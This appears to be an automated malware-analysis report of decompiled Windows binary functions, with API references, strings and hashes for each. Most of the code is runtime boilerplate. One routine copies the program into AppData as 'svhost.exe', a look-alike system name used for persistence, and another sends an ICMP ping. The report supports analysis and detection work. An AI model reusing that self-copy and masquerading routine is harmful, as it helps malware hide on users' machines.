				E00AB47E0(_t146,  &_v44, _t202, _t203, 8, 0);
				 *(_v76 + 0x4c) = 0;
				while(_a8 != _a12) {
					_v84 = E00AAAB00(E00AB4A90( &_v44,  &_v104));
					_v88 = E00AB1650( *((intOrPtr*)(_v76 + 4)), _v76 + 0x40, _a8, _a12,  &_a8, _v84, E00AA8020( &_v44) + _v84,  &_v72);
					if(_v88 < 0) {
						L22:
						_t169 = _v76;
						_t190 =  *(_t169 + 0x49) & 0x000000ff;
						if(( *(_t169 + 0x49) & 0x000000ff) == 0) {
							E00AB1140( &_v128, "bad conversion");
							E00AF1677( &_v128, 0xb40684);
							goto L25;
						} else {
							E00AA8680(_a4, _v76 + 0x10);
							_v80 = _v80 | 0x00000001;
							_v8 = 0;
							E00AA8540();
							_v8 = 0xffffffff;
							E00AA8540();
						}
					} else {
						if(_v88 <= 1) {
							if(_v84 >= _v72) {
								if(E00AA8020( &_v44) >= 0x10) {
									_t178 = _v76;
									_t190 =  *(_t178 + 0x49) & 0x000000ff;
									if(( *(_t178 + 0x49) & 0x000000ff) == 0) {
										E00AB1140( &_v116, "bad conversion");
										E00AF1677( &_v116, 0xb40684);
										goto L16;
									} else {
										E00AA8680(_a4, _v76 + 0x10);
										_v80 = _v80 | 0x00000001;
										_v8 = 0;
										E00AA8540();
										_v8 = 0xffffffff;
										E00AA8540();
									}
								} else {
									E00AB47E0(_t146,  &_v44, _t202, _t203, 8, 0);
									goto L16;
								}
							} else {
								E00AA9E10( &_v68, _v84, _v72 - _v84);
								L16:
								goto L25;
							}
						} else {
							if(_v88 == 3) {
								while(_a8 != _a12) {
									E00AB3AF0(_t146,  &_v68, _t202, _t203,  *_a8 & 0x000000ff);
									_a8 =  &(_a8[2]);
								}
								L25:
								_t197 = _a8 - _v92;
								_t190 = _t197 >> 1;
								 *(_v76 + 0x4c) = _t197 >> 1;
								continue;
							} else {
								goto L22;
							}
						}
					}
					L27:
					 *[fs:0x0] = _v16;
					return E00ADA4E2(_t146, _v20 ^ _t204, _t190, _t202, _t203);
				}
				E00AA8590(_a4,  &_v68);
				_v80 = _v80 | 0x00000001;
				_v8 = 0;
				E00AA8540();
				_v8 = 0xffffffff;
				E00AA8540();
				goto L27;
			}

0x00ab3f00
0x00ab3f00
0x00ab3f00
0x00ab3f03
0x00ab3f05
0x00ab3f10
0x00ab3f14
0x00ab3f19
0x00ab3f1b
0x00ab3f1e
0x00ab3f22
0x00ab3f28
0x00ab3f2b
0x00ab3f35
0x00ab3f3a
0x00ab3f44
0x00ab3f49
0x00ab3f50
0x00ab3f53
0x00ab3f56
0x00ab3f5c
0x00ab3f60
0x00ab3f63
0x00ab3f66
0x00ab3f69
0x00ab3f6c
0x00ab3f72
0x00ab3f72
0x00ab3f7c
0x00ab3f84
0x00ab3f9b
0x00ab3fba
0x00ab3fef
0x00ab3ff6
0x00ab40d7
0x00ab40d7
0x00ab40da
0x00ab40e0
0x00ab4124
0x00ab4132
0x00000000
0x00ab40e2
0x00ab40ec
0x00ab40f7
0x00ab40fa
0x00ab4101
0x00ab4106
0x00ab4110
0x00ab4115
0x00ab3ffc
0x00ab4000
0x00ab4017
0x00ab4039
0x00ab4049
0x00ab404c
0x00ab4052
0x00ab4099
0x00ab40a7
0x00000000
0x00ab4054
0x00ab405e
0x00ab4069
0x00ab406c
0x00ab4073
0x00ab4078
0x00ab4082
0x00ab4087
0x00ab403b
0x00ab4042
0x00000000
0x00ab4042
0x00ab4019
0x00ab4027
0x00ab40ac
0x00000000
0x00ab40ac
0x00ab4002
0x00ab4006
0x00ab40bc
0x00ab40ce
0x00ab40b9
0x00ab40b9
0x00ab4137
0x00ab3f90
0x00ab3f93
0x00ab3f98
0x00000000
0x00ab400c
0x00000000
0x00ab400c
0x00ab4006
0x00ab4000
0x00ab416f
0x00ab4172
0x00ab4187
0x00ab4187
0x00ab4143
0x00ab414e
0x00ab4151
0x00ab4158
0x00ab415d
0x00ab4167
0x00000000

APIs

codecvt.LIBCPMTD ref: 00AB3FEA

Strings

bad conversion, xrefs: 00AB4091, 00AB411C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: codecvt
String ID: bad conversion
API String ID: 3662085145-2629740042
Opcode ID: 8a3abc69ed802e8bc5794b688b447661e804be732f825df3b0212961863ba80e
Instruction ID: e98bd4388638ff18075a08736d35ce39fa0871f409057103e12910b66e0d5147
Opcode Fuzzy Hash: 8a3abc69ed802e8bc5794b688b447661e804be732f825df3b0212961863ba80e
Instruction Fuzzy Hash: 30814D71D04248DFCB04EF98C991AEDBBB9BF59310F24811DE516AB292EB34AA45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AF1520, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00AF1520(intOrPtr __edx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				char _v20;
				long _v24;
				intOrPtr _v28;
				char _v32;
				long _v36;
				long _v40;
				void _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t67;
				signed int _t74;
				long _t75;
				void* _t76;
				intOrPtr* _t77;
				intOrPtr _t79;
				DWORD* _t82;
				void* _t83;
				signed int _t87;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t93;
				char _t95;
				signed int _t99;
				signed int _t102;
				void* _t109;
				intOrPtr _t110;
				signed int _t114;
				char _t115;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t131;

				_t106 = __edx;
				_t90 = _a8;
				_v5 = 0;
				_t115 = _t90 + 0x10;
				_push(_t115);
				_v16 = 1;
				_v20 = _t115;
				_v12 =  *(_t90 + 8) ^  *0xb42074;
				E00AF14E0(_t90, __edx, _t109, _t115,  *(_t90 + 8) ^  *0xb42074);
				E00AF470C(_a12);
				_t67 = _a4;
				_t122 = _t121 + 0xc;
				_t110 =  *((intOrPtr*)(_t90 + 0xc));
				if(( *(_t67 + 4) & 0x00000066) != 0) {
					__eflags = _t110 - 0xfffffffe;
					if(_t110 != 0xfffffffe) {
						_t106 = 0xfffffffe;
						E00AF48D0(_t90, 0xfffffffe, _t115, 0xb42074);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t67;
					_v28 = _a12;
					 *((intOrPtr*)(_t90 - 4)) =  &_v32;
					if(_t110 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t93 = _v12;
							_t20 = _t110 + 2; // 0x3
							_t74 = _t110 + _t20 * 2;
							_t90 =  *((intOrPtr*)(_t93 + _t74 * 4));
							_t75 = _t93 + _t74 * 4;
							_t94 =  *((intOrPtr*)(_t75 + 4));
							_v24 = _t75;
							if( *((intOrPtr*)(_t75 + 4)) == 0) {
								_t95 = _v5;
								goto L8;
							} else {
								_t106 = _t115;
								_t76 = E00AF4880(_t94, _t115);
								_t95 = 1;
								_v5 = 1;
								_t131 = _t76;
								if(_t131 < 0) {
									_v16 = 0;
									L14:
									_push(_t115);
									E00AF14E0(_t90, _t106, _t110, _t115, _v12);
									goto L15;
								} else {
									if(_t131 > 0) {
										_t77 = _a4;
										__eflags =  *_t77 - 0xe06d7363;
										if( *_t77 == 0xe06d7363) {
											__eflags =  *0xb19f80;
											if(__eflags != 0) {
												_t87 = E00B0FB90(__eflags, 0xb19f80);
												_t122 = _t122 + 4;
												__eflags = _t87;
												if(_t87 != 0) {
													_t118 =  *0xb19f80; // 0xaf1351
													 *0xb1531c(_a4, 1);
													 *_t118();
													_t115 = _v20;
													_t122 = _t122 + 8;
												}
												_t77 = _a4;
											}
										}
										_t107 = _t77;
										E00AF48B4(_t77, _a8, _t77);
										_t79 = _a8;
										__eflags =  *((intOrPtr*)(_t79 + 0xc)) - _t110;
										if( *((intOrPtr*)(_t79 + 0xc)) != _t110) {
											_t107 = _t110;
											E00AF48D0(_t79, _t110, _t115, 0xb42074);
											_t79 = _a8;
										}
										_push(_t115);
										 *((intOrPtr*)(_t79 + 0xc)) = _t90;
										E00AF14E0(_t90, _t107, _t110, _t115, _v12);
										E00AF4898();
										asm("int3");
										_push(_t90);
										_t91 = _v40;
										_push(_t115);
										_push(_t110);
										_t99 = 8;
										memcpy( &_v80, 0xb19f84, _t99 << 2);
										_t114 = _v36;
										__eflags = _t114;
										if(_t114 != 0) {
											__eflags =  *_t114 & 0x00000010;
											if(( *_t114 & 0x00000010) != 0) {
												_t102 =  *_t91 - 4;
												__eflags = _t102;
												_t83 =  *_t102;
												_t114 =  *(_t83 + 0x18);
												 *0xb1531c(_t102);
												 *((intOrPtr*)( *((intOrPtr*)(_t83 + 0x20))))();
											}
										}
										_v16 = _t91;
										_v12 = _t114;
										__eflags = _t114;
										if(_t114 != 0) {
											__eflags =  *_t114 & 0x00000008;
											if(( *_t114 & 0x00000008) != 0) {
												_v20 = 0x1994000;
											}
										}
										_t82 =  &_v20;
										RaiseException(_v40, _v36, _v24, _t82);
										return _t82;
									} else {
										goto L8;
									}
								}
							}
							goto L31;
							L8:
							_t110 = _t90;
						} while (_t90 != 0xfffffffe);
						if(_t95 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L31:
			}

0x00af1520
0x00af1527
0x00af152c
0x00af1533
0x00af153c
0x00af153e
0x00af1545
0x00af1548
0x00af154b
0x00af1553
0x00af1558
0x00af155b
0x00af155e
0x00af1565
0x00af15c6
0x00af15c9
0x00af15d1
0x00af15d8
0x00000000
0x00af15d8
0x00000000
0x00af1567
0x00af1567
0x00af156d
0x00af1573
0x00af1579
0x00af15e9
0x00af15f2
0x00af157b
0x00af1580
0x00af1580
0x00af1583
0x00af1586
0x00af1589
0x00af158c
0x00af158f
0x00af1592
0x00af1597
0x00af15ad
0x00000000
0x00af1599
0x00af1599
0x00af159b
0x00af15a0
0x00af15a2
0x00af15a5
0x00af15a7
0x00af15bd
0x00af15dd
0x00af15dd
0x00af15e1
0x00000000
0x00af15a9
0x00af15a9
0x00af15f3
0x00af15f6
0x00af15fc
0x00af15fe
0x00af1605
0x00af160c
0x00af1611
0x00af1614
0x00af1616
0x00af1618
0x00af1625
0x00af162b
0x00af162d
0x00af1630
0x00af1630
0x00af1633
0x00af1633
0x00af1605
0x00af1639
0x00af163b
0x00af1640
0x00af1643
0x00af1646
0x00af164e
0x00af1652
0x00af1657
0x00af1657
0x00af165a
0x00af165e
0x00af1661
0x00af1671
0x00af1676
0x00af167d
0x00af167e
0x00af1681
0x00af1682
0x00af1685
0x00af168e
0x00af1690
0x00af1693
0x00af1695
0x00af1697
0x00af169a
0x00af169e
0x00af169e
0x00af16a2
0x00af16a9
0x00af16ac
0x00af16b2
0x00af16b2
0x00af169a
0x00af16b4
0x00af16b7
0x00af16ba
0x00af16bc
0x00af16be
0x00af16c1
0x00af16c3
0x00af16c3
0x00af16c1
0x00af16ca
0x00af16d7
0x00af16e1
0x00af15ab
0x00000000
0x00af15ab
0x00af15a9
0x00af15a7
0x00000000
0x00af15b0
0x00af15b0
0x00af15b2
0x00af15b9
0x00000000
0x00af15bb
0x00000000
0x00af15b9
0x00af1579
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00AF154B
___except_validate_context_record.LIBVCRUNTIME ref: 00AF1553
_ValidateLocalCookies.LIBCMT ref: 00AF15E1
__IsNonwritableInCurrentImage.LIBCMT ref: 00AF160C
_ValidateLocalCookies.LIBCMT ref: 00AF1661

Strings

csm, xrefs: 00AF15F6

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 2e63f615a93e5663303402c3d13d93f9605dcfdb9467af58376c2b39c0358ff2
Instruction ID: 5c507259c53081ab569316a94d9e5aaf3391cc741454fcb278fa52f4a1c946a1
Opcode Fuzzy Hash: 2e63f615a93e5663303402c3d13d93f9605dcfdb9467af58376c2b39c0358ff2
Instruction Fuzzy Hash: CD419134E0020CEBCF10DFA8C895AAEBBF5AF85364F548165FA159B392D731DA15CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE730, Relevance: 10.6, APIs: 7, Instructions: 95
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00ABE730(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, char _a4, intOrPtr _a8) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v36;
				char _v37;
				intOrPtr _v44;
				char _v45;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void* __ebp;
				signed int _t38;
				signed char _t41;
				intOrPtr _t49;
				intOrPtr _t53;
				signed int _t79;

				_t78 = __esi;
				_t77 = __edi;
				_t58 = __ebx;
				_t38 =  *0xb42074; // 0x80d348a2
				_v8 = _t38 ^ _t79;
				_v72 = __ecx;
				_v45 = 0;
				_t41 = E00AA7FA0(_a4);
				_t84 = _t41 & 0x000000ff;
				if((_t41 & 0x000000ff) != 0) {
					L11:
					__eflags = 0;
				} else {
					_t74 = _a4;
					E00ABE870(__ebx,  &_v10, _a4, __edi, __esi, _t84,  &_v36, E00AA1700(_a4));
					if((E00AA7FA0( &_v36) & 0x000000ff) != 0) {
						L10:
						E00AA8540();
						goto L11;
					} else {
						_t49 = E00AA8480();
						__imp__#11(_t49);
						_v60 = _t49;
						if(_v60 == 0xffffffff) {
							goto L10;
						} else {
							__imp__IcmpCreateFile();
							_v44 = _t49;
							if(_v44 == 0xffffffff) {
								goto L10;
							} else {
								_t74 =  *0xb2497a; // 0x0
								_v9 = _t74;
								_v56 = 0x1d;
								_push(_v56);
								_v52 = E00AF52B0( &_v36);
								if(_v52 == 0) {
									__imp__IcmpCloseHandle(_v44);
									goto L10;
								} else {
									_t53 = _v44;
									__imp__IcmpSendEcho(_t53, _v60,  &_v9, 1, 0, _v52, _v56, _a8);
									_v68 = _t53;
									__imp__IcmpCloseHandle(_v44);
									_t74 = _v52;
									E00AF506D(_v52);
									if(_v68 == 0) {
										_v64 = 0;
									} else {
										_v64 = 1;
									}
									_v37 = _v64;
									E00AA8540();
								}
							}
						}
					}
				}
				return E00ADA4E2(_t58, _v8 ^ _t79, _t74, _t77, _t78);
			}

0x00abe730
0x00abe730
0x00abe730
0x00abe736
0x00abe73d
0x00abe740
0x00abe745
0x00abe74b
0x00abe753
0x00abe755
0x00abe851
0x00abe851
0x00abe75b
0x00abe75b
0x00abe76f
0x00abe781
0x00abe849
0x00abe84c
0x00000000
0x00abe787
0x00abe78a
0x00abe790
0x00abe796
0x00abe79d
0x00000000
0x00abe7a3
0x00abe7a3
0x00abe7a9
0x00abe7b0
0x00000000
0x00abe7b6
0x00abe7b6
0x00abe7bc
0x00abe7bf
0x00abe7c9
0x00abe7d2
0x00abe7d9
0x00abe843
0x00000000
0x00abe7db
0x00abe7f3
0x00abe7f7
0x00abe7fd
0x00abe804
0x00abe80a
0x00abe80e
0x00abe81a
0x00abe825
0x00abe81c
0x00abe81c
0x00abe81c
0x00abe82f
0x00abe835
0x00abe83a
0x00abe7d9
0x00abe7b0
0x00abe79d
0x00abe781
0x00abe860

APIs

std::ios_base::good.LIBCPMTD ref: 00ABE74B
std::ios_base::good.LIBCPMTD ref: 00ABE777
inet_addr.WS2_32(00000000), ref: 00ABE790
IcmpCreateFile.IPHLPAPI ref: 00ABE7A3
IcmpSendEcho.IPHLPAPI(000000FF,000000FF,?,00000001,00000000,00000000,0000001D,?), ref: 00ABE7F7
IcmpCloseHandle.IPHLPAPI(000000FF), ref: 00ABE804

Part of subcall function 00AF506D: _free.LIBCMT ref: 00AF5080

IcmpCloseHandle.IPHLPAPI(000000FF), ref: 00ABE843

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Icmp$CloseHandlestd::ios_base::good$CreateEchoFileSend_freeinet_addr
String ID:
API String ID: 3991926873-0
Opcode ID: 35b8fd3a8c5371e3222ddb685a749a8966a5a30017d05b09feae98aa606e8ef4
Instruction ID: e94c54625c08528bd88a87f716a3fda9b5025356d3b452a8a34c1a262a57fed5
Opcode Fuzzy Hash: 35b8fd3a8c5371e3222ddb685a749a8966a5a30017d05b09feae98aa606e8ef4
Instruction Fuzzy Hash: 9E316FB1D00608EFCF14EFE4E995AEEBBB9BF58300F544119F406A7291DB349945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC0FC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00AC0FC0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				intOrPtr _v72;
				char _v96;
				void* __ebp;
				signed int _t30;
				signed int _t31;
				signed char _t37;
				WCHAR* _t49;
				signed int _t85;

				_t84 = __esi;
				_t83 = __edi;
				_t57 = __ebx;
				_push(0xffffffff);
				_push(E00B120B0);
				_push( *[fs:0x0]);
				_t30 =  *0xb42074; // 0x80d348a2
				_t31 = _t30 ^ _t85;
				_v20 = _t31;
				_push(_t31);
				 *[fs:0x0] =  &_v16;
				_v72 = __ecx;
				E00AA8340(L"AppData");
				E00AC11C0(__ebx, _v72, __edi, __esi,  &_v44,  &_v96);
				E00AA8170();
				_t37 = E00AA7FA0( &_v44);
				_t82 = _t37 & 0x000000ff;
				if((_t37 & 0x000000ff) != 0) {
					L5:
					E00AA8340(0xb37308);
					E00AA8170();
				} else {
					E00AC10F0(__ebx, _v72, _t82, __edi, __esi,  &_v68);
					if((E00AA7FA0( &_v68) & 0x000000ff) != 0) {
						L4:
						E00AA8170();
						goto L5;
					} else {
						E00AB7440( &_v44, "\\");
						E00AB7440( &_v44, L"svhost");
						E00AB7440( &_v44, L".exe");
						_t49 = E00AA8040();
						if(CopyFileW(E00AA8040(), _t49, 0) == 0) {
							goto L4;
						} else {
							_t82 =  &_v44;
							E00AA8250(_a4, E00AA1700( &_v44));
							E00AA8170();
							E00AA8170();
						}
					}
				}
				 *[fs:0x0] = _v16;
				return E00ADA4E2(_t57, _v20 ^ _t85, _t82, _t83, _t84);
			}

0x00ac0fc0
0x00ac0fc0
0x00ac0fc0
0x00ac0fc3
0x00ac0fc5
0x00ac0fd0
0x00ac0fd4
0x00ac0fd9
0x00ac0fdb
0x00ac0fde
0x00ac0fe2
0x00ac0fe8
0x00ac0ff3
0x00ac1003
0x00ac100b
0x00ac1013
0x00ac1018
0x00ac101d
0x00ac10b5
0x00ac10bd
0x00ac10c5
0x00ac1023
0x00ac102a
0x00ac103c
0x00ac10ad
0x00ac10b0
0x00000000
0x00ac103e
0x00ac1046
0x00ac1053
0x00ac1060
0x00ac106a
0x00ac1081
0x00000000
0x00ac1083
0x00ac1083
0x00ac1093
0x00ac109b
0x00ac10a3
0x00ac10a8
0x00ac1081
0x00ac103c
0x00ac10d0
0x00ac10e5

APIs

Part of subcall function 00AC11C0: std::ios_base::good.LIBCPMTD ref: 00AC11EE
Part of subcall function 00AC11C0: GetEnvironmentVariableW.KERNEL32(00000000,00000000,00000000,00000000,00000104,00000000,80D348A2,?,00B11540,000000FF,?,00AC1008,?,?,AppData,80D348A2), ref: 00AC1226

std::ios_base::good.LIBCPMTD ref: 00AC1013

Part of subcall function 00AC10F0: GetModuleFileNameW.KERNEL32(00000000,00000000,00000000,00000000,00000104,00000000,80D348A2,00B11540,000000FF,?,00AC102F,?,?,?,AppData,80D348A2), ref: 00AC1140

std::ios_base::good.LIBCPMTD ref: 00AC1032
CopyFileW.KERNEL32(00000000,00000000,00000000,.exe,svhost,00B372E8,?,?,?,AppData,80D348A2), ref: 00AC1079

Strings

svhost, xrefs: 00AC104B
AppData, xrefs: 00AC0FEB
.exe, xrefs: 00AC1058

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::ios_base::good$File$CopyEnvironmentModuleNameVariable
String ID: .exe$AppData$svhost
API String ID: 2081428776-767749533
Opcode ID: 0cdc8e9f482515e250013c64aa551543b50b127457c4ee979176d519017ed19b
Instruction ID: 15b752b78396f25aebc46edbfaf35a61f3296981af68f20924cb104e3d9e207f
Opcode Fuzzy Hash: 0cdc8e9f482515e250013c64aa551543b50b127457c4ee979176d519017ed19b
Instruction Fuzzy Hash: E2314171D441089BCB18EB90DD52EEEB7B8AF55710F40412DF402671D2EF74AA46CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00B019C1, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B019C1(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0xb46548 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0xb1c0c8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E00B00AE8(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E00B00AE8(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x00b019ca
0x00b01a73
0x00b019d2
0x00b019d4
0x00b019db
0x00b019dd
0x00b019e2
0x00b019ef
0x00b01a04
0x00b01a08
0x00b01a5a
0x00b01a5a
0x00b01a5f
0x00b01a63
0x00b01a66
0x00b01a66
0x00b01a6c
0x00b01a6e
0x00b01a85
0x00b01a7e
0x00b01a84
0x00b01a84
0x00b01a70
0x00b01a70
0x00000000
0x00b01a70
0x00b01a0a
0x00b01a13
0x00b01a4a
0x00b01a4a
0x00b01a4c
0x00b01a4e
0x00000000
0x00000000
0x00b01a56
0x00000000
0x00b01a56
0x00b01a1d
0x00b01a22
0x00b01a27
0x00000000
0x00000000
0x00b01a31
0x00b01a36
0x00b01a3b
0x00000000
0x00000000
0x00b01a40
0x00b01a46
0x00000000
0x00b01a46
0x00b019e7
0x00000000
0x00000000
0x00000000
0x00b019ed
0x00b01a7c
0x00000000

Strings

ext-ms-, xrefs: 00B01A2B
api-ms-, xrefs: 00B01A17

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 2670b76a77b9aadec90901952f79b625dd9dfe42533498e42f225fce456d813d
Instruction ID: 6db043da6057bcb0cfe3a1ca0ef2dec28112e62c8282e995ba061c16579deb37
Opcode Fuzzy Hash: 2670b76a77b9aadec90901952f79b625dd9dfe42533498e42f225fce456d813d
Instruction Fuzzy Hash: DF21D832B46711EBCB35866C8C85A5A3FD8EB55760F144AD1EC26A72D0DA30DE0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00AAA980, Relevance: 10.6, APIs: 7, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00AAA980(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v28;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebp;
				signed int _t23;
				signed int _t24;
				void* _t33;
				signed char _t34;
				void* _t42;
				char* _t48;
				void* _t56;
				void* _t57;
				signed int _t58;
				void* _t59;
				void* _t63;
				intOrPtr _t64;

				_t57 = __esi;
				_t56 = __edi;
				_t42 = __ebx;
				_push(0xffffffff);
				_push(E00B10D78);
				_push( *[fs:0x0]);
				_t23 =  *0xb42074; // 0x80d348a2
				_t24 = _t23 ^ _t58;
				_v20 = _t24;
				_push(_t24);
				 *[fs:0x0] =  &_v16;
				E00AA1480( &_v28, 8);
				E00AA1250();
				_v8 = 0;
				E00AAC8F0( &_v36, E00AA1700(_a8),  &_v28);
				_v40 = E00AAC960;
				_t55 =  &_v36;
				_t33 = E00AC3024(_a4, _v40, E00AA1700( &_v36));
				_t63 = _t59 - 0x1c + 0x14;
				if(_t33 == 0) {
					_t48 =  &_v28;
					_t34 = E00AA1390();
					_t55 = _t34 & 0x000000ff;
					__eflags = _t34 & 0x000000ff;
					if(__eflags != 0) {
						_t64 = _t63 - 8;
						_t48 = _t64;
						_v44 = _t64;
						E00AA12F0( &_v28);
						E00AA14C0();
					}
					E00AC303C(_t42, _t48, _t56, _t57, __eflags);
					_v8 = 0xffffffff;
					E00AA12A0();
				} else {
					_v8 = 0xffffffff;
					E00AA12A0();
				}
				 *[fs:0x0] = _v16;
				return E00ADA4E2(_t42, _v20 ^ _t58, _t55, _t56, _t57);
			}

0x00aaa980
0x00aaa980
0x00aaa980
0x00aaa983
0x00aaa985
0x00aaa990
0x00aaa994
0x00aaa999
0x00aaa99b
0x00aaa99e
0x00aaa9a2
0x00aaa9ad
0x00aaa9b5
0x00aaa9ba
0x00aaa9d5
0x00aaa9da
0x00aaa9e1
0x00aaa9f6
0x00aaa9fb
0x00aaaa00
0x00aaaa13
0x00aaaa16
0x00aaaa1b
0x00aaaa1e
0x00aaaa20
0x00aaaa22
0x00aaaa25
0x00aaaa27
0x00aaaa2e
0x00aaaa33
0x00aaaa33
0x00aaaa38
0x00aaaa3d
0x00aaaa47
0x00aaaa02
0x00aaaa02
0x00aaaa0c
0x00aaaa0c
0x00aaaa4f
0x00aaaa64

APIs

std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AAA9B5
std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AAAA0C
